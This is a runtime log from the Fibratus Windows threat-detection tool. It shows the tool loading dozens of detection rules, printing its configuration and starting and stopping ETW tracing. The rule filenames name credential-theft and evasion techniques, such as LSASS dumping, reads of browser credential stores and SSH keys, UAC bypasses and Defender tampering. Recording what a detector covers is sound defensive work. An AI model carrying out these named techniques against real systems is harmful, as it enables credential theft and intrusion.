+time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:36:44+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T20:36:44+01:00 level=info msg=bootstrapping with pid 7908. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T20:36:44+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ use-template=>true to=>[] port=>25 enabled=>false content-type=>text/html] systray=>[ quiet-mode=>false enabled=>false sound=>true] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-envs=>true serialize-threads=>false serialize-images=>false] + eventsource .................... [ enable-image=>true enable-dns=>false enable-handle=>false enable-vamap=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-registry=>true enable-thread=>true enable-mem=>false buffer-size=>512 enable-audit-api=>true enable-threadpool=>false stack-enrichment=>true enable-net=>true max-buffers=>36 enable-fileio=>true flush-interval=>1s min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 log-stdout=>true level=>info max-age=>0 max-size=>100 formatter=>text] + output ......................... [ http=>[ timeout=>5s endpoints=>[] enable-gzip=>false serializer=>json enabled=>false tls-insecure-skip-verify=>false method=>POST] elasticsearch=>[ trace-log=>false index-name=>fibratus healthcheck-timeout=>5s healthcheck=>true bulk-workers=>1 template-name=>fibratus gzip-compression=>false timeout=>5s flush-period=>1s sniff=>false servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s enabled=>false] amqp=>[ vhost=>/ passive=>false tls-insecure-skip-verify=>false url=>amqp://localhost:5672 exchange-type=>topic enabled=>false routing-key=>fibratus timeout=>5s delivery-mode=>transient durable=>false exchange=>fibratus] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ enabled=>false read-resources=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-mmaps=>false excluded-files=>[] fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false scan-timeout=>10s excluded-procs=>[] skip-allocs=>false skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T20:36:44+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T20:36:47+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T20:38:06+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T20:38:06+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T20:38:07+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T20:38:59+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 